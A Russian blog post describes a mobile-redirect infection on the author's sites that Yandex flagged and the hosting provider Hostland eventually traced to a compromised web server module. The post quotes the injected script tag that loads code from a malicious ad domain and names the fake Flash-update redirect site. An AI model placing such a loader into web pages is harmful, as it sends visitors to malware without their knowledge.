Вчера весь день носился второпях и впопыхах, и так уж получилось, что полностью освободился только сейчас, поэтому публикация заметки обещанной с позавчерашнего вечера несколько затянулась.
Два дня назад я вкратце рассказал
о куче проблем, свалившихся на меня в последние дни, а сейчас я намерен описать ситуацию, на которой остановился в предыдущей заметке – вирусах на моих сайтах.
В общем, дело было так.
10 ноября в районе 17 часов на мой электронный адрес пришло уведомление от Яндекса с темой
«На сайте обнаружен потенциально опасный код», который был обнаружен на страницах сайта
10kilogramm.ru. По словам Яндекса данный код может быть опасен для посетителей, и в связи с этим в результатах поиска мой сайт выводился с пометкой
«Этот сайт может угрожать безопасности вашего компьютера».
Само собой такое положение вещей меня не устраивало, и я поспешил проверить свой сайт на предмет постороннего кода и прочей «дряни», которая могла повлиять на появление вирусов.
Не так давно,
мой сайт был действительно взломан, и тогда устранить проблему удалось буквально за считанные минуты – был взломан файл .htaccess, который на этот раз оказался нетронутым. Естественно, ведь после того случая, я программно ограничил доступ к этому файлу и теперь «вскрыть» его будет не так просто.
Не смотря на то, что конфигурационный файл .htaccess был в полном порядке, сайт все ровно не проходил проверку на вирусы и был под соответствующим фильтром, что существенно сказалось на его посещаемости в этот день. Что же делать дальше?
Зайдя в Яндекс Вебмастер я сразу увидел результаты выборочной проверки, напротив которой был вынесен вердикт о мобильном редиректе –
mobile_redirect.
В прошлый раз, когда мой сайт был взломан, у меня тоже был мобильный редирект, и я решил проверить, как он выглядит с моего смартфона. Я взял в руки телефон, зашёл на свой сайт, но никакого редиректа не произошло!
Проверив другие файлы своего сайта и, не обнаружив ничего подозрительного, я решил, что Яндекс по ошибке нашёл на моём сайте какие-то вирусы. С этой мыслью я прекратил поиски, написал сообщение в службу безопасности и отправил заявку на повторное сканирование сайта на предмет мобильного редиректа или вирусов.
Ответ поступил на редкость быстро, но, увы, ничего хорошего в нём я не увидел. Платон Щукин из службы поддержки Яндекса заверил меня в том, что на сайте присутствует скрипт, с помощью которого происходит перенаправление пользователей с мобильных устройств на вредоносные цели.
Скрипт мобильного редиректа
script src="//ad.nwindscore.net/ldr.php?77234201124"
В конце этого сообщения было прикреплено несколько ссылок на различные мануалы Яндекса, которые, по их мнению, должны были помочь в решении проблемы.
С момента получения первого сообщения от Яндекса я пялился в монитор уже несколько часов подряд, я перебрал все возможные варианты, несколько раз перепроверил все файлы на предмет постороннего кода, но так ничего и не нашёл.
Я подумал, а что если злоумышленнику
удалось заполучить доступ к моей базе данных на сервере, через которую он и внедрил «недостающий» код. Даже не смотря на то, что при просмотре исходного кода страницы я не обнаружил каких-либо зацепок, я всё-таки решил просканировать свою базу, на что ушло в принципе не так много времени, но снова не дало результатов.
В общем, перерыв абсолютно все, что только было можно, я вернулся к своему прежнему выводу –
никаких вирусов на моём сайте нет, как вдруг раздался телефонный звонок, которому с одной стороны я был рад, а с другой стороны ещё больше озадачился.
Позвонила жена – я начал рассказывать ей о проблемах с сайтом, о мобильном редиректе, как вдруг она вспомнила, что ещё вчера, будучи на работе и зайдя на сайт со своего смартфона, её перекинуло на страницу обновления флеш-плеера. Вот тут я и сел.
Если до этого звонка я надеялся, что кто-то где-то мог ошибиться, то сейчас я уже был уверен, что мобильный редирект имеет место быть, хотя почему он не появился у меня – до сих пор загадка.
Ещё раз, проверив все файлы сайта и перебрав остальные варианты, которые были предложены Платоном, на одной из страниц Яндекс безопасности я наткнулся на
вероятность возможного заражения сервера, после чего написал письмо своему хостинг провайдеру.
С ответом они не сильно спешили, а я тем временем вступил в кружок самодеятельности и взялся проверять другие сайты, которые были расположены на одном IP адресе, т.е. на том же сервере что и мой блог. И представьте моё удивление, когда я нашёл ещё несколько заражённых сайтов с аналогичной пометкой
«Этот сайт может угрожать безопасности вашего компьютера».
В поддержке моего хостинга никто и слышать не хотел о том, что проблемы могут быть с их стороны. Их первое сообщение было следующим:
Текст сообщения:
На наших серверах используется unix система FreeBSD последней версии со всеми установленными обновлениями безопасности, что полностью исключает заражение сервера.
Проблема может быть именно в Ваших сайтах - не обновлённое программное обеспечение, наличие уязвимостей, взлом FTP либо хостинг аккаунта и многое другое.
Далее были перечислены инструкции, следуя которым мне нужно было проверить свой компьютер на наличие вирусов, сменить все пароли, поискать чужеродный код, обновить программное обеспечение и выполнить ряд других действий.
После повторного запроса мне посоветовали восстановить резервную копию сайта 2-х, 3-х дневной давности, но я, буквально нутром чувствовал, что мой сайт здесь ни причём и что бэкап вряд ли поможет.
Понимая, что сотрудники компании не идут мне на встречу я начал искать в интернете любую сопутствующую информацию по данной проблеме и узнал, что этот мобильный редирект настолько хитёр, что появляется всего
1 раз в сутки для каждого из IP адресов.
Моим следующим действием было получение нового IP адреса, после чего я наконец-таки увидел мобильный редирект воочию.
После смены IP адреса я зашёл на блог со своего смартфона, но вместо главной страницы меня сразу же перенаправило по адресу
http://getpdainfo.com/l=3241111f056e0b4d03565714564f0e где было предложено обновить флеш-плеер. Скриншот посещённой страницы и адрес сайта
getpdainfo.com вы можете увидеть немного выше.
Теперь, зная адрес перенаправления, и что происходит редирект на getpdainfo.com я принялся искать в интернете любую сопутствующую информацию по этому случаю. Оказалось, что было достаточно посетить всего несколько ресурсов, на которых описанная проблема совпадала с моей один к одному, после чего я начал «копать» ещё глубже.
Выяснилось что данная проблема действительно может быть вызвана уязвимостью на стороне сервера и более того, точно такая ситуация уже произошла с несколькими довольно популярными хостинг-компаниями среди которых оказались
reg.ru,
timeweb.ru,
plusweb.ru,
hoster.by и ещё некоторыми менее известными конторами.
Полученная информация в очередной раз подтолкнула меня, на написание нового, уже четвёртого тикета в службу поддержки моего хостинг провайдера, в котором на этот раз я смог более детально описать происходящее и поделиться свежими ссылками.
Потирая руками я почему-то был уверен, что теперь им не отвертеться, но всё произошло как в поговорке – не говори гоп, пока не перепрыгнешь. Взгляните на ответ сотрудников компании.
Текст сообщения:
Зашли с мобильного телефона, редиректа нет.
Каким образом фиксировать перенаправление?
Если Вы так уверены, что заражен сервер - удалите весь контент, создайте страничку index.html и в ней пропишите "Привет мир" - следуя Вашей логике, произойдет редирект.
Либо, как сказано в приведенной Вами статье - проверьте другие сайты на IP адресе - если проблема у нас, значит, на всех сайтах будет редирект.
П.С. По приведенным Вами ссылкам нет точной информации, официального признания хостеров мы не увидели (к сожалению, прочитать все у нас нет времени).
Ну, всё, думаю то ли я дурак, то ли лыжи не едут – и почему-то других вариантов не наблюдается даже близко. Видите ли, у них всё нормально открывается, и нет никакого перенаправления –
я в шоке!
Я снова вернулся на Яндекс, открыл раздел безопасности и вижу, что по результатам повторной проверки на моём сайте
вредоносный код уже не обнаружен – ну и что это за цирк?
В общем, я решил извиниться перед хостингом за то, что морочил им голову, написал ещё одно сообщение, в котором сделал
акцент на повышенную нагрузку процессора, которой до этого момента почти никогда не наблюдалось, и пошёл спать.
Не поверите – всю ночь мне снилось, как я ищу вредоносный код на своём сайте. Я несколько раз просыпался, но засыпая, я снова и снова перебирал код в надежде найти хоть какую-то зацепку. Представляете как меня задела эта ситуация? Просто жуть! А тем временем и без того мизерный трафик на сайте всё падал и падал.
Утро - новый день и новые идеи!
Проанализировав всю переписку с хостером, я решил, что было бы действительно неплохо проверить доступность сайта, без каких либо скриптов, но удалять из-за этого весь блог мне показалось дикостью, и тут меня осенило.
На этом же сервере у меня расположено 4 личных сайта – я выбрал один из них, на котором отключение скриптов было бы не так заметно. Я отключил скрипты, сменил IP адрес, зашёл уже на другой сайт и снова схватил
редирект со своего мобильного – БИНГО!
По-быстрому я проверил все свои сайты, и все они оказались с редиректом, неважно были подключены скрипты или нет. Дальше больше, предварительно сделав резервную копию, я полностью удалил один из сайтов и по совету специалиста из службы поддержки создал пустой файл с надписью «Привет мир!».
Когда я зашёл на этот сайт и снова столкнулся с редиректом,
у меня уже не было сомнений что проблема именно в сервере моего хостинг-провайдера, но вот ведь не задача – у них всё открывается и переадресаций никаких не происходит. У них стоит unix система и FreeBSD последней версии со всеми установленными обновлениями безопасности, что полностью исключает заражение сервера – куда же мне там.
Теперь мне предстояло как-то доказать что проблема именно с их стороны, не смотря на хвалёную неуязвимость, которой они так рисуются.
В общем, я пошёл на что-то необычное, чего не совершал ранее – я записал видео обращение, в котором постарался продемонстрировать всю суть происходящего.
Видео: Мобильный редирект
Попутно, на скорую руку ещё пришлось осваивать программу для видео монтажа, а точнее программу, которая бы позволила уменьшить размер HD видео файла с 1.2 Гб до 180 мегабайт в текущем состоянии и AVI форматом. Обработанное видео я закачал через Яндекс Диск, сделал его общедоступным и отправил объёмное сообщение сотрудникам компании Hostland для ознакомления + ссылку на это видео.
Казалось бы, все карты у меня на руках, всё отчётливо видно, доступно и понятно даже школьнику, и что вы думаете? Знаете, какой мне пришёл ответ? Смотрите!
Текст сообщения:
Если у вас взломать хоть один из сайтов, злоумышленник может получить доступ ко всем файлам вашего аккаунта.
Проверьте, пожалуйста, все ваши сайты на наличие уязвимостей.
Мягко говоря – я в шоке! Какие нафиг могут быть уязвимости в сайте, который не имеет подключения к базе данных, не использует каких либо скриптов (ни внешних, ни внутренних) и не имеет конфигурационных файлов? Ну что это за бред?
Тут я не выдержал и начал звонить в службу поддержки клиентов с помощью скайпа - это были ещё те коры.
Молодой человек в течение 20 с лишним минут доказывал мне, что с их стороны всё прекрасно и идеально - он при мне зашёл на сайт со своего мобильного телефона и, не получив редиректа начал рассказывать мне о том, что абсолютно все популярные на сегодняшний день CMS (системы управления сайтом) имеют кучу уязвимостей. Он рассказал, что если достаточно хорошо погуглить - для любой из CMS, неважно будь то Joomla или Wordpress можно найти пошаговую инструкцию по её взлому, но причём тут это я так и не понял. Я несколько раз повторил, что
пишу сайты самостоятельно и не использую каких-либо движков, на что получил, наверное, коронную фразу – я на 95% уверен, что дело не в сервере, а именно в вашем сайте.
Я попытался пояснить специалисту из техподдержки, что этот вирус не обычный и вполне вероятно, что он может ориентироваться только на Android или какие-то другие мобильные данные. Он рассказал мне про User Agent и его возможные «модификации», после чего мы сошлись на том, что они сейчас же начнут проверку моих сайтов, хотя как он сказал в их обязанности это не входит – они занимаются исключительно поддержкой стабильности хостинга, а не поиском вирусов на чужих сайтах.
Через полчаса на почту упало вот такое сообщение.
Текст сообщения:
Проверим ПО сервера.
Проблему видели, подставив юзерагент мобильного браузера.
Ну, неужели!
Примерно где-то через 3 часа пришло ещё одно сообщение, которому вы вряд ли представляете, как же я был рад. Скриншот этого письма вы можете видеть ниже.
Текст сообщения:
Здравствуйте, Никита,
1) Благодарю вас за то, что проявили такую настойчивость - это дорогого стоит.
2) Благодарю вас за предоставленное видео, я его просмотрел и все увидел.
3) Благодаря вам мы нашли проблему, на данной машине был скомпрометирован веб сервер, скомпрометированный модуль мы уже нашли, сейчас мы разбираемся по какой причине это произошло, но последствия мы уже ликвидировали, никаких редиректов уже нет.
По нашим данным проблема возникла позавчера "Nov 9 21:48" почему это произошло - мы разбираемся.
4) Сегодня в течение суток (а точнее в течение 12 часов) все ПО на данной машине будет обновлено и все конфигурационные файлы всего системного софта будут перезалиты из репозитория.
5) Я зачислил вам год обслуживания бесплатно, в знак того, что мы действительно очень вам благодарны за проделанный ТРУД.
6) Если вы опасаетесь, что на ваших сайтах есть вирусы - вы можете восстановить бекап за 9 ноября из панели управления (в панели управления доступны бекапы за 8 последних дней) в бекапе вирусов быть не должно (бекапы делаются ночью).
7) Мы можем перенести ваш аккаунт на другой сервер - что бы вам было спокойнее, от себя я рекомендую вам сменить пароль на mysql в панели управления (и в конфигурационных файлах так же эти пароли сменить).
8) Мы уже проверили все машины - веб-сервер пострадал только на ftp30, почему это произошло - мы обязательно разберемся.
И так: еще раз Вам спасибо.
Всего доброго.
==
С уважением,
Геннадий Черепухин,
Техническая поддержка [Hostland.RU]
https://www.hostland.ru/contacts/
Вместе с этим письмом я получил уведомление о внесении денег на счет моего аккаунта.
Текст сообщения:
На Ваш абонентский счет поступила оплата в размере: 0 руб.
тип оплаты: За счет Hostland.ru
и зачислен бонус в размере: 1668 руб.
так же вам зачислено доменных бонусов в количестве: 1
Как бы там ни было, редиректа на моих сайтах уже действительно нет – проблему нашли и устранили, а по поводу того что произошло, ну с кем не бывает?
Даже несмотря на всё это я по-прежнему доволен работой своего хостинга, тем более в конечном итоге нам удалось во всём разобраться и избавиться от так называемых неприятностей. Не маловажным моментом для меня оказалось пополнение счёта, и я не буду скрывать, я считаю, что это было очень даже уместно, после всего того с чем мне пришлось столкнуться.
В заметке я ещё нигде не упоминал о том, что в процессе поиска вредоносного кода и по совету специалистов службы поддержки клиентов мне
пришлось проверить свой компьютер на наличие вирусов. Помимо всего этого я проверил свой сайт на предмет вирусов с помощью нескольких онлайн сканеров, что естественно потребовало дополнительного времени, которое я считаю, потрачено не напрасно – излишняя уверенность ещё никому не повредила.
Вредоносный код на сайте не обнаружен
Сейчас работоспособность всех моих сайтов восстановлена, на сайтах нет никаких вирусов и никаких редиректов, с блога сняты все ограничения от поисковой системы Яндекс - в общем, всё наладилось. Хорошо, что всё хорошо закончилось, а вообще интересная получилась ситуация.
Ну как вам такая история, в которой человек с образованием повара доказывал профессиональным программистам проблему с их оборудованием, а?
Меня она успела, и повеселить обстановкой и порадовать пополнением счёта, добавила новых знаний и опыта, но что самое неприятное, она заставила понервничать, а мне нервничать нельзя – это плохо сказывается на моём самочувствии!
В общем, не дай бог кому-нибудь столкнуться с такой же проблемой, ведь до самого последнего момента дураком будут считать только Вас.
Удачи в решении проблемы.